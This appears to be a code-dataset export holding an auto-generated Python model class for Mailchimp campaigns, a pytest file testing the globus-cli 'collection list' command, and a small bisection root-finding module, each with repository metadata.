not None: self.create_time = create_time if archive_url is not None: self.archive_url = archive_url if long_archive_url is not None: self.long_archive_url = long_archive_url if status is not None: self.status = status if emails_sent is not None: self.emails_sent = emails_sent if send_time is not None: self.send_time = send_time if content_type is not None: self.content_type = content_type if needs_block_refresh is not None: self.needs_block_refresh = needs_block_refresh if resendable is not None: self.resendable = resendable if recipients is not None: self.recipients = recipients if settings is not None: self.settings = settings if variate_settings is not None: self.variate_settings = variate_settings if tracking is not None: self.tracking = tracking if rss_opts is not None: self.rss_opts = rss_opts if ab_split_opts is not None: self.ab_split_opts = ab_split_opts if social_card is not None: self.social_card = social_card if report_summary is not None: self.report_summary = report_summary if delivery_status is not None: self.delivery_status = delivery_status if links is not None: self.links = links @property def id(self): """Gets the id of this Campaign. # noqa: E501 A string that uniquely identifies this campaign. # noqa: E501 :return: The id of this Campaign. # noqa: E501 :rtype: str """ return self._id @id.setter def id(self, id): """Sets the id of this Campaign. A string that uniquely identifies this campaign. # noqa: E501 :param id: The id of this Campaign. # noqa: E501 :type: str """ self._id = id @property def web_id(self): """Gets the web_id of this Campaign. # noqa: E501 The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501 :return: The web_id of this Campaign. # noqa: E501 :rtype: int """ return self._web_id @web_id.setter def web_id(self, web_id): """Sets the web_id of this Campaign. The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501 :param web_id: The web_id of this Campaign. # noqa: E501 :type: int """ self._web_id = web_id @property def parent_campaign_id(self): """Gets the parent_campaign_id of this Campaign. # noqa: E501 If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501 :return: The parent_campaign_id of this Campaign. # noqa: E501 :rtype: str """ return self._parent_campaign_id @parent_campaign_id.setter def parent_campaign_id(self, parent_campaign_id): """Sets the parent_campaign_id of this Campaign. If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501 :param parent_campaign_id: The parent_campaign_id of this Campaign. # noqa: E501 :type: str """ self._parent_campaign_id = parent_campaign_id @property def type(self): """Gets the type of this Campaign. # noqa: E501 There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501 :return: The type of this Campaign. # noqa: E501 :rtype: str """ return self._type @type.setter def type(self, type): """Sets the type of this Campaign. There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501 :param type: The type of this Campaign. # noqa: E501 :type: str """ allowed_values = ["regular", "plaintext", "absplit", "rss", "variate"] # noqa: E501 if type not in allowed_values: raise ValueError( "Invalid value for `type` ({0}), must be one of {1}" # noqa: E501 .format(type, allowed_values) ) self._type = type @property def create_time(self): """Gets the create_time of this Campaign. # noqa: E501 The date and time the campaign was created in ISO 8601 format. # noqa: E501 :return: The create_time of this Campaign. # noqa: E501 :rtype: datetime """ return self._create_time @create_time.setter def create_time(self, create_time): """Sets the create_time of this Campaign. The date and time the campaign was created in ISO 8601 format. # noqa: E501 :param create_time: The create_time of this Campaign. # noqa: E501 :type: datetime """ self._create_time = create_time @property def archive_url(self): """Gets the archive_url of this Campaign. # noqa: E501 The link to the campaign's archive version in ISO 8601 format. # noqa: E501 :return: The archive_url of this Campaign. # noqa: E501 :rtype: str """ return self._archive_url @archive_url.setter def archive_url(self, archive_url): """Sets the archive_url of this Campaign. The link to the campaign's archive version in ISO 8601 format. # noqa: E501 :param archive_url: The archive_url of this Campaign. # noqa: E501 :type: str """ self._archive_url = archive_url @property def long_archive_url(self): """Gets the long_archive_url of this Campaign. # noqa: E501 The original link to the campaign's archive version. # noqa: E501 :return: The long_archive_url of this Campaign. # noqa: E501 :rtype: str """ return self._long_archive_url @long_archive_url.setter def long_archive_url(self, long_archive_url): """Sets the long_archive_url of this Campaign. The original link to the campaign's archive version. # noqa: E501 :param long_archive_url: The long_archive_url of this Campaign. # noqa: E501 :type: str """ self._long_archive_url = long_archive_url @property def status(self): """Gets the status of this Campaign. # noqa: E501 The current status of the campaign. # noqa: E501 :return: The status of this Campaign. # noqa: E501 :rtype: str """ return self._status @status.setter def status(self, status): """Sets the status of this Campaign. The current status of the campaign. # noqa: E501 :param status: The status of this Campaign. # noqa: E501 :type: str """ allowed_values = ["save", "paused", "schedule", "sending", "sent", "canceled", "canceling", "archived"] # noqa: E501 if status not in allowed_values: raise ValueError( "Invalid value for `status` ({0}), must be one of {1}" # noqa: E501 .format(status, allowed_values) ) self._status = status @property def emails_sent(self): """Gets the emails_sent of this Campaign. # noqa: E501 The total number of emails sent for this campaign. # noqa: E501 :return: The emails_sent of this Campaign. # noqa: E501 :rtype: int """ return self._emails_sent @emails_sent.setter def emails_sent(self, emails_sent): """Sets the emails_sent of this Campaign. The total number of emails sent for this campaign. # noqa: E501 :param emails_sent: The emails_sent of this Campaign. # noqa: E501 :type: int """ self._emails_sent = emails_sent @property def send_time(self): """Gets the send_time of this Campaign. # noqa: E501 The date and time a campaign was sent. # noqa: E501 :return: The send_time of this Campaign. # noqa: E501 :rtype: datetime """ return self._send_time @send_time.setter def send_time(self, send_time): """Sets the send_time of this Campaign. The date and time a campaign was sent. # noqa: E501 :param send_time: The send_time of this Campaign. # noqa: E501 :type: datetime """ self._send_time = send_time @property def content_type(self): """Gets the content_type of this Campaign. # noqa: E501 How the campaign's content is put together. # noqa: E501 :return: The content_type of this Campaign. # noqa: E501 :rtype: str """ return self._content_type @content_type.setter def content_type(self, content_type): """Sets the content_type of this Campaign. How the campaign's content is put together. # noqa: E501 :param content_type: The content_type of this Campaign. # noqa: E501 :type: str """ allowed_values = ["template", "html", "url", "multichannel"] # noqa: E501 if content_type not in allowed_values: raise ValueError( "Invalid value for `content_type` ({0}), must be one of {1}" # noqa: E501 .format(content_type, allowed_values) ) self._content_type = content_type @property def needs_block_refresh(self): """Gets the needs_block_refresh of this Campaign. # noqa: E501 Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501 :return: The needs_block_refresh of this Campaign. # noqa: E501 :rtype: bool """ return self._needs_block_refresh @needs_block_refresh.setter def needs_block_refresh(self, needs_block_refresh): """Sets the needs_block_refresh of this Campaign. Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501 :param needs_block_refresh: The needs_block_refresh of this Campaign. # noqa: E501 :type: bool """ self._needs_block_refresh = needs_block_refresh @property def resendable(self): """Gets the resendable of this Campaign. # noqa: E501 Determines if the campaign qualifies to be resent to non-openers. # noqa: E501 :return: The resendable of this Campaign. # noqa: E501 :rtype: bool """ return self._resendable @resendable.setter def resendable(self, resendable): """Sets the resendable of this Campaign. Determines if the campaign qualifies to be resent to non-openers. # noqa: E501 :param resendable: The resendable of this Campaign. # noqa: E501 :type: bool """ self._resendable = resendable @property def recipients(self): """Gets the recipients of this Campaign. # noqa: E501 :return: The recipients of this Campaign. # noqa: E501 :rtype: List3 """ return self._recipients @recipients.setter def recipients(self, recipients): """Sets the recipients of this Campaign. :param recipients: The recipients of this Campaign. # noqa: E501 :type: List3 """ self._recipients = recipients @property def settings(self): """Gets the settings of this Campaign. # noqa: E501 :return: The settings of this Campaign. # noqa: E501 :rtype: CampaignSettings2 """ return self._settings @settings.setter def settings(self, settings): """Sets the settings of this Campaign. :param settings: The settings of this Campaign. # noqa: E501 :type: CampaignSettings2 """ self._settings = settings @property def variate_settings(self): """Gets the variate_settings of this Campaign. # noqa: E501 :return: The variate_settings of this Campaign. # noqa: E501 :rtype: ABTestOptions """ return self._variate_settings @variate_settings.setter def variate_settings(self, variate_settings): """Sets the variate_settings of this Campaign. :param variate_settings: The variate_settings of this Campaign. # noqa: E501 :type: ABTestOptions """ self._variate_settings = variate_settings @property def tracking(self): """Gets the tracking of this Campaign. # noqa: E501 :return: The tracking of this Campaign. # noqa: E501 :rtype: CampaignTrackingOptions1 """ return self._tracking @tracking.setter def tracking(self, tracking): """Sets the tracking of this Campaign. :param tracking: The tracking of this Campaign. # noqa: E501 :type: CampaignTrackingOptions1 """ self._tracking = tracking @property def rss_opts(self): """Gets the rss_opts of this Campaign. # noqa: E501 :return: The rss_opts of this Campaign. # noqa: E501 :rtype: RSSOptions """ return self._rss_opts @rss_opts.setter def rss_opts(self, rss_opts): """Sets the rss_opts of this Campaign. :param rss_opts: The rss_opts of this Campaign. # noqa: E501 :type: RSSOptions """ self._rss_opts = rss_opts @property def ab_split_opts(self): """Gets the ab_split_opts of this Campaign. # noqa: E501 :return: The ab_split_opts of this Campaign. # noqa: E501 :rtype: ABTestingOptions """ return self._ab_split_opts @ab_split_opts.setter def ab_split_opts(self, ab_split_opts): """Sets the ab_split_opts of this Campaign. :param ab_split_opts: The ab_split_opts of this Campaign. # noqa: E501 :type: ABTestingOptions """ self._ab_split_opts = ab_split_opts @property def social_card(self): """Gets the social_card of this Campaign. # noqa: E501 :return: The social_card of this Campaign. # noqa: E501 :rtype: CampaignSocialCard """ return self._social_card @social_card.setter def social_card(self, social_card): """Sets the social_card of this Campaign. :param social_card: The social_card of this Campaign. # noqa: E501 :type: CampaignSocialCard """ self._social_card = social_card @property def report_summary(self): """Gets the report_summary of this Campaign. # noqa: E501 :return: The report_summary of this Campaign. # noqa: E501 :rtype: CampaignReportSummary2 """ return self._report_summary @report_summary.setter def report_summary(self, report_summary): """Sets the report_summary of this Campaign. :param report_summary: The report_summary of this Campaign. # noqa: E501 :type: CampaignReportSummary2 """ self._report_summary = report_summary @property def delivery_status(self): """Gets the delivery_status of this Campaign. # noqa: E501 :return: The delivery_status of this Campaign. # noqa: E501 :rtype: CampaignDeliveryStatus """ return self._delivery_status @delivery_status.setter def delivery_status(self, delivery_status): """Sets the delivery_status of this Campaign. :param delivery_status: The delivery_status of this Campaign. # noqa: E501 :type: CampaignDeliveryStatus """ self._delivery_status = delivery_status @property def links(self): """Gets the links of this Campaign. # noqa: E501 A list of link types and descriptions for the API schema documents. # noqa: E501 :return: The links of this Campaign. # noqa: E501 :rtype: list[ResourceLink] """ return self._links @links.setter def links(self, links): """Sets the links of this Campaign. A list of link types and descriptions for the API schema documents. # noqa: E501 :param links: The links of this Campaign. # noqa: E501 :type: list[ResourceLink] """ self._links = links def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(Campaign, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, Campaign): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

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# coding: utf-8 """ Mailchimp Marketing API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 3.0.74 Contact: apihelp@mailchimp.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class Campaign(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'id': 'str', 'web_id': 'int', 'parent_campaign_id': 'str', 'type': 'str', 'create_time': 'datetime', 'archive_url': 'str', 'long_archive_url': 'str', 'status': 'str', 'emails_sent': 'int', 'send_time': 'datetime', 'content_type': 'str', 'needs_block_refresh': 'bool', 'resendable': 'bool', 'recipients': 'List3', 'settings': 'CampaignSettings2', 'variate_settings': 'ABTestOptions', 'tracking': 'CampaignTrackingOptions1', 'rss_opts': 'RSSOptions', 'ab_split_opts': 'ABTestingOptions', 'social_card': 'CampaignSocialCard', 'report_summary': 'CampaignReportSummary2', 'delivery_status': 'CampaignDeliveryStatus', 'links': 'list[ResourceLink]' } attribute_map = { 'id': 'id', 'web_id': 'web_id', 'parent_campaign_id': 'parent_campaign_id', 'type': 'type', 'create_time': 'create_time', 'archive_url': 'archive_url', 'long_archive_url': 'long_archive_url', 'status': 'status', 'emails_sent': 'emails_sent', 'send_time': 'send_time', 'content_type': 'content_type', 'needs_block_refresh': 'needs_block_refresh', 'resendable': 'resendable', 'recipients': 'recipients', 'settings': 'settings', 'variate_settings': 'variate_settings', 'tracking': 'tracking', 'rss_opts': 'rss_opts', 'ab_split_opts': 'ab_split_opts', 'social_card': 'social_card', 'report_summary': 'report_summary', 'delivery_status': 'delivery_status', 'links': '_links' } def __init__(self, id=None, web_id=None, parent_campaign_id=None, type=None, create_time=None, archive_url=None, long_archive_url=None, status=None, emails_sent=None, send_time=None, content_type=None, needs_block_refresh=None, resendable=None, recipients=None, settings=None, variate_settings=None, tracking=None, rss_opts=None, ab_split_opts=None, social_card=None, report_summary=None, delivery_status=None, links=None): # noqa: E501 """Campaign - a model defined in Swagger""" # noqa: E501 self._id = None self._web_id = None self._parent_campaign_id = None self._type = None self._create_time = None self._archive_url = None self._long_archive_url = None self._status = None self._emails_sent = None self._send_time = None self._content_type = None self._needs_block_refresh = None self._resendable = None self._recipients = None self._settings = None self._variate_settings = None self._tracking = None self._rss_opts = None self._ab_split_opts = None self._social_card = None self._report_summary = None self._delivery_status = None self._links = None self.discriminator = None if id is not None: self.id = id if web_id is not None: self.web_id = web_id if parent_campaign_id is not None: self.parent_campaign_id = parent_campaign_id if type is not None: self.type = type if create_time is not None: self.create_time = create_time if archive_url is not None: self.archive_url = archive_url if long_archive_url is not None: self.long_archive_url = long_archive_url if status is not None: self.status = status if emails_sent is not None: self.emails_sent = emails_sent if send_time is not None: self.send_time = send_time if content_type is not None: self.content_type = content_type if needs_block_refresh is not None: self.needs_block_refresh = needs_block_refresh if resendable is not None: self.resendable = resendable if recipients is not None: self.recipients = recipients if settings is not None: self.settings = settings if variate_settings is not None: self.variate_settings = variate_settings if tracking is not None: self.tracking = tracking if rss_opts is not None: self.rss_opts = rss_opts if ab_split_opts is not None: self.ab_split_opts = ab_split_opts if social_card is not None: self.social_card = social_card if report_summary is not None: self.report_summary = report_summary if delivery_status is not None: self.delivery_status = delivery_status if links is not None: self.links = links @property def id(self): """Gets the id of this Campaign. # noqa: E501 A string that uniquely identifies this campaign. # noqa: E501 :return: The id of this Campaign. # noqa: E501 :rtype: str """ return self._id @id.setter def id(self, id): """Sets the id of this Campaign. A string that uniquely identifies this campaign. # noqa: E501 :param id: The id of this Campaign. # noqa: E501 :type: str """ self._id = id @property def web_id(self): """Gets the web_id of this Campaign. # noqa: E501 The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501 :return: The web_id of this Campaign. # noqa: E501 :rtype: int """ return self._web_id @web_id.setter def web_id(self, web_id): """Sets the web_id of this Campaign. The ID used in the Mailchimp web application. View this campaign in your Mailchimp account at `https://{dc}.admin.mailchimp.com/campaigns/show/?id={web_id}`. # noqa: E501 :param web_id: The web_id of this Campaign. # noqa: E501 :type: int """ self._web_id = web_id @property def parent_campaign_id(self): """Gets the parent_campaign_id of this Campaign. # noqa: E501 If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501 :return: The parent_campaign_id of this Campaign. # noqa: E501 :rtype: str """ return self._parent_campaign_id @parent_campaign_id.setter def parent_campaign_id(self, parent_campaign_id): """Sets the parent_campaign_id of this Campaign. If this campaign is the child of another campaign, this identifies the parent campaign. For Example, for RSS or Automation children. # noqa: E501 :param parent_campaign_id: The parent_campaign_id of this Campaign. # noqa: E501 :type: str """ self._parent_campaign_id = parent_campaign_id @property def type(self): """Gets the type of this Campaign. # noqa: E501 There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501 :return: The type of this Campaign. # noqa: E501 :rtype: str """ return self._type @type.setter def type(self, type): """Sets the type of this Campaign. There are four types of [campaigns](https://mailchimp.com/help/getting-started-with-campaigns/) you can create in Mailchimp. A/B Split campaigns have been deprecated and variate campaigns should be used instead. # noqa: E501 :param type: The type of this Campaign. # noqa: E501 :type: str """ allowed_values = ["regular", "plaintext", "absplit", "rss", "variate"] # noqa: E501 if type not in allowed_values: raise ValueError( "Invalid value for `type` ({0}), must be one of {1}" # noqa: E501 .format(type, allowed_values) ) self._type = type @property def create_time(self): """Gets the create_time of this Campaign. # noqa: E501 The date and time the campaign was created in ISO 8601 format. # noqa: E501 :return: The create_time of this Campaign. # noqa: E501 :rtype: datetime """ return self._create_time @create_time.setter def create_time(self, create_time): """Sets the create_time of this Campaign. The date and time the campaign was created in ISO 8601 format. # noqa: E501 :param create_time: The create_time of this Campaign. # noqa: E501 :type: datetime """ self._create_time = create_time @property def archive_url(self): """Gets the archive_url of this Campaign. # noqa: E501 The link to the campaign's archive version in ISO 8601 format. # noqa: E501 :return: The archive_url of this Campaign. # noqa: E501 :rtype: str """ return self._archive_url @archive_url.setter def archive_url(self, archive_url): """Sets the archive_url of this Campaign. The link to the campaign's archive version in ISO 8601 format. # noqa: E501 :param archive_url: The archive_url of this Campaign. # noqa: E501 :type: str """ self._archive_url = archive_url @property def long_archive_url(self): """Gets the long_archive_url of this Campaign. # noqa: E501 The original link to the campaign's archive version. # noqa: E501 :return: The long_archive_url of this Campaign. # noqa: E501 :rtype: str """ return self._long_archive_url @long_archive_url.setter def long_archive_url(self, long_archive_url): """Sets the long_archive_url of this Campaign. The original link to the campaign's archive version. # noqa: E501 :param long_archive_url: The long_archive_url of this Campaign. # noqa: E501 :type: str """ self._long_archive_url = long_archive_url @property def status(self): """Gets the status of this Campaign. # noqa: E501 The current status of the campaign. # noqa: E501 :return: The status of this Campaign. # noqa: E501 :rtype: str """ return self._status @status.setter def status(self, status): """Sets the status of this Campaign. The current status of the campaign. # noqa: E501 :param status: The status of this Campaign. # noqa: E501 :type: str """ allowed_values = ["save", "paused", "schedule", "sending", "sent", "canceled", "canceling", "archived"] # noqa: E501 if status not in allowed_values: raise ValueError( "Invalid value for `status` ({0}), must be one of {1}" # noqa: E501 .format(status, allowed_values) ) self._status = status @property def emails_sent(self): """Gets the emails_sent of this Campaign. # noqa: E501 The total number of emails sent for this campaign. # noqa: E501 :return: The emails_sent of this Campaign. # noqa: E501 :rtype: int """ return self._emails_sent @emails_sent.setter def emails_sent(self, emails_sent): """Sets the emails_sent of this Campaign. The total number of emails sent for this campaign. # noqa: E501 :param emails_sent: The emails_sent of this Campaign. # noqa: E501 :type: int """ self._emails_sent = emails_sent @property def send_time(self): """Gets the send_time of this Campaign. # noqa: E501 The date and time a campaign was sent. # noqa: E501 :return: The send_time of this Campaign. # noqa: E501 :rtype: datetime """ return self._send_time @send_time.setter def send_time(self, send_time): """Sets the send_time of this Campaign. The date and time a campaign was sent. # noqa: E501 :param send_time: The send_time of this Campaign. # noqa: E501 :type: datetime """ self._send_time = send_time @property def content_type(self): """Gets the content_type of this Campaign. # noqa: E501 How the campaign's content is put together. # noqa: E501 :return: The content_type of this Campaign. # noqa: E501 :rtype: str """ return self._content_type @content_type.setter def content_type(self, content_type): """Sets the content_type of this Campaign. How the campaign's content is put together. # noqa: E501 :param content_type: The content_type of this Campaign. # noqa: E501 :type: str """ allowed_values = ["template", "html", "url", "multichannel"] # noqa: E501 if content_type not in allowed_values: raise ValueError( "Invalid value for `content_type` ({0}), must be one of {1}" # noqa: E501 .format(content_type, allowed_values) ) self._content_type = content_type @property def needs_block_refresh(self): """Gets the needs_block_refresh of this Campaign. # noqa: E501 Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501 :return: The needs_block_refresh of this Campaign. # noqa: E501 :rtype: bool """ return self._needs_block_refresh @needs_block_refresh.setter def needs_block_refresh(self, needs_block_refresh): """Sets the needs_block_refresh of this Campaign. Determines if the campaign needs its blocks refreshed by opening the web-based campaign editor. Deprecated and will always return false. # noqa: E501 :param needs_block_refresh: The needs_block_refresh of this Campaign. # noqa: E501 :type: bool """ self._needs_block_refresh = needs_block_refresh @property def resendable(self): """Gets the resendable of this Campaign. # noqa: E501 Determines if the campaign qualifies to be resent to non-openers. # noqa: E501 :return: The resendable of this Campaign. # noqa: E501 :rtype: bool """ return self._resendable @resendable.setter def resendable(self, resendable): """Sets the resendable of this Campaign. Determines if the campaign qualifies to be resent to non-openers. # noqa: E501 :param resendable: The resendable of this Campaign. # noqa: E501 :type: bool """ self._resendable = resendable @property def recipients(self): """Gets the recipients of this Campaign. # noqa: E501 :return: The recipients of this Campaign. # noqa: E501 :rtype: List3 """ return self._recipients @recipients.setter def recipients(self, recipients): """Sets the recipients of this Campaign. :param recipients: The recipients of this Campaign. # noqa: E501 :type: List3 """ self._recipients = recipients @property def settings(self): """Gets the settings of this Campaign. # noqa: E501 :return: The settings of this Campaign. # noqa: E501 :rtype: CampaignSettings2 """ return self._settings @settings.setter def settings(self, settings): """Sets the settings of this Campaign. :param settings: The settings of this Campaign. # noqa: E501 :type: CampaignSettings2 """ self._settings = settings @property def variate_settings(self): """Gets the variate_settings of this Campaign. # noqa: E501 :return: The variate_settings of this Campaign. # noqa: E501 :rtype: ABTestOptions """ return self._variate_settings @variate_settings.setter def variate_settings(self, variate_settings): """Sets the variate_settings of this Campaign. :param variate_settings: The variate_settings of this Campaign. # noqa: E501 :type: ABTestOptions """ self._variate_settings = variate_settings @property def tracking(self): """Gets the tracking of this Campaign. # noqa: E501 :return: The tracking of this Campaign. # noqa: E501 :rtype: CampaignTrackingOptions1 """ return self._tracking @tracking.setter def tracking(self, tracking): """Sets the tracking of this Campaign. :param tracking: The tracking of this Campaign. # noqa: E501 :type: CampaignTrackingOptions1 """ self._tracking = tracking @property def rss_opts(self): """Gets the rss_opts of this Campaign. # noqa: E501 :return: The rss_opts of this Campaign. # noqa: E501 :rtype: RSSOptions """ return self._rss_opts @rss_opts.setter def rss_opts(self, rss_opts): """Sets the rss_opts of this Campaign. :param rss_opts: The rss_opts of this Campaign. # noqa: E501 :type: RSSOptions """ self._rss_opts = rss_opts @property def ab_split_opts(self): """Gets the ab_split_opts of this Campaign. # noqa: E501 :return: The ab_split_opts of this Campaign. # noqa: E501 :rtype: ABTestingOptions """ return self._ab_split_opts @ab_split_opts.setter def ab_split_opts(self, ab_split_opts): """Sets the ab_split_opts of this Campaign. :param ab_split_opts: The ab_split_opts of this Campaign. # noqa: E501 :type: ABTestingOptions """ self._ab_split_opts = ab_split_opts @property def social_card(self): """Gets the social_card of this Campaign. # noqa: E501 :return: The social_card of this Campaign. # noqa: E501 :rtype: CampaignSocialCard """ return self._social_card @social_card.setter def social_card(self, social_card): """Sets the social_card of this Campaign. :param social_card: The social_card of this Campaign. # noqa: E501 :type: CampaignSocialCard """ self._social_card = social_card @property def report_summary(self): """Gets the report_summary of this Campaign. # noqa: E501 :return: The report_summary of this Campaign. # noqa: E501 :rtype: CampaignReportSummary2 """ return self._report_summary @report_summary.setter def report_summary(self, report_summary): """Sets the report_summary of this Campaign. :param report_summary: The report_summary of this Campaign. # noqa: E501 :type: CampaignReportSummary2 """ self._report_summary = report_summary @property def delivery_status(self): """Gets the delivery_status of this Campaign. # noqa: E501 :return: The delivery_status of this Campaign. # noqa: E501 :rtype: CampaignDeliveryStatus """ return self._delivery_status @delivery_status.setter def delivery_status(self, delivery_status): """Sets the delivery_status of this Campaign. :param delivery_status: The delivery_status of this Campaign. # noqa: E501 :type: CampaignDeliveryStatus """ self._delivery_status = delivery_status @property def links(self): """Gets the links of this Campaign. # noqa: E501 A list of link types and descriptions for the API schema documents. # noqa: E501 :return: The links of this Campaign. # noqa: E501 :rtype: list[ResourceLink] """ return self._links @links.setter def links(self, links): """Sets the links of this Campaign. A list of link types and descriptions for the API schema documents. # noqa: E501 :param links: The links of this Campaign. # noqa: E501 :type: list[ResourceLink] """ self._links = links def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(Campaign, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, Campaign): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other

0

ccc90d9c929391cae107a2a233df254df0e9c438

2,937

py

Python

tests/functional/collection/test_collection_list.py

globusonline/globus-cli

696857baafac198141edc3c1c29c72215f217df1

[ "Apache-2.0" ]

null

tests/functional/collection/test_collection_list.py

globusonline/globus-cli

696857baafac198141edc3c1c29c72215f217df1

[ "Apache-2.0" ]

1

2016-04-09T17:26:05.000Z

2016-04-11T16:13:50.000Z

tests/functional/collection/test_collection_list.py

globusonline/globus-cli

696857baafac198141edc3c1c29c72215f217df1

[ "Apache-2.0" ]

null

import pytest import responses from globus_sdk._testing import load_response_set @pytest.mark.parametrize( "filter_val", [ "mapped_collections", "mapped-collections", "MaPpeD-cOLlectiOns", "guest-collections", "guest_Collections", ["Mapped-Collections", "Managed_by-me"], ["mapped-collections", "managed-by_me", "created-by-me"], ], )

39.16

88

0.709227

import pytest import responses from globus_sdk._testing import load_response_set def test_collection_list(run_line, add_gcs_login): meta = load_response_set("cli.collection_operations").metadata epid = meta["endpoint_id"] add_gcs_login(epid) result = run_line(f"globus collection list {epid}") collection_names = ["Happy Fun Collection Name 1", "Happy Fun Collection Name 2"] for name in collection_names: assert name in result.stdout def test_collection_list_opts(run_line, add_gcs_login): meta = load_response_set("cli.collection_operations").metadata epid = meta["endpoint_id"] add_gcs_login(epid) cid = meta["mapped_collection_id"] run_line(f"globus collection list --mapped-collection-id {cid} {epid}") assert responses.calls[-1].request.params["mapped_collection_id"] == cid run_line(f"globus collection list --include-private-policies {epid}") assert responses.calls[-1].request.params["include"] == "private_policies" def test_collection_list_on_gcp(run_line): meta = load_response_set("cli.collection_operations").metadata epid = meta["gcp_endpoint_id"] result = run_line(f"globus collection list {epid}", assert_exit_code=3) assert "success" not in result.output assert ( f"Expected {epid} to be a Globus Connect Server v5 Endpoint.\n" "Instead, found it was of type 'Globus Connect Personal'." ) in result.stderr assert "This operation is not supported on objects of this type." in result.stderr def test_collection_list_on_mapped_collection(run_line): meta = load_response_set("cli.collection_operations").metadata epid = meta["mapped_collection_id"] result = run_line(f"globus collection list {epid}", assert_exit_code=3) assert "success" not in result.output assert ( f"Expected {epid} to be a Globus Connect Server v5 Endpoint.\n" "Instead, found it was of type 'Mapped Collection'." ) in result.stderr assert "This operation is not supported on objects of this type." in result.stderr @pytest.mark.parametrize( "filter_val", [ "mapped_collections", "mapped-collections", "MaPpeD-cOLlectiOns", "guest-collections", "guest_Collections", ["Mapped-Collections", "Managed_by-me"], ["mapped-collections", "managed-by_me", "created-by-me"], ], ) def test_collection_list_filters(run_line, add_gcs_login, filter_val): meta = load_response_set("cli.collection_operations").metadata epid = meta["endpoint_id"] add_gcs_login(epid) if not isinstance(filter_val, list): filter_val = [filter_val] filter_str = " ".join(f"--filter {f}" for f in filter_val) run_line(f"globus collection list {filter_str} {epid}") filter_params = {v.lower().replace("-", "_") for v in filter_val} assert set(responses.calls[-1].request.params["filter"].split(",")) == filter_params

2,414

0

114

93b134cbc992e9743aaef355e11e242ce5dafd4f

4,389

py

Python

bicks/mathtool.py

balabalabalalaba/testb

fd2a8262bba94c561be49d69120401f0d7259fdf

[ "MIT" ]

null

bicks/mathtool.py

balabalabalalaba/testb

fd2a8262bba94c561be49d69120401f0d7259fdf

[ "MIT" ]

null

bicks/mathtool.py

balabalabalalaba/testb

fd2a8262bba94c561be49d69120401f0d7259fdf

[ "MIT" ]

3

2021-07-28T09:51:58.000Z

2021-07-30T16:37:26.000Z

import numpy as np def dichotomy(f, a, b, epsilon=1.0e-5): """Tradional dichotomy to find a root of a function """ fa = f(a) while True: c = (a + b) / 2.0 if (b - a) <= epsilon: return c fc = f(c) if fc * fa < 0: b = c else: fa = fc a = c def find_n_roots(f, n, deltax, eps=1.0e-10): """ Warning! Don't make the deltax = 0.1 """ currentroot = 0 root = [] gox = 1.0e-5 b = f(gox) while currentroot < n: a = b b = f(gox) if (a * b) < 0: root.append(dichotomy(f, gox - deltax, gox, epsilon=eps)) currentroot = currentroot + 1 gox = gox + deltax return root

25.369942

92

0.437229

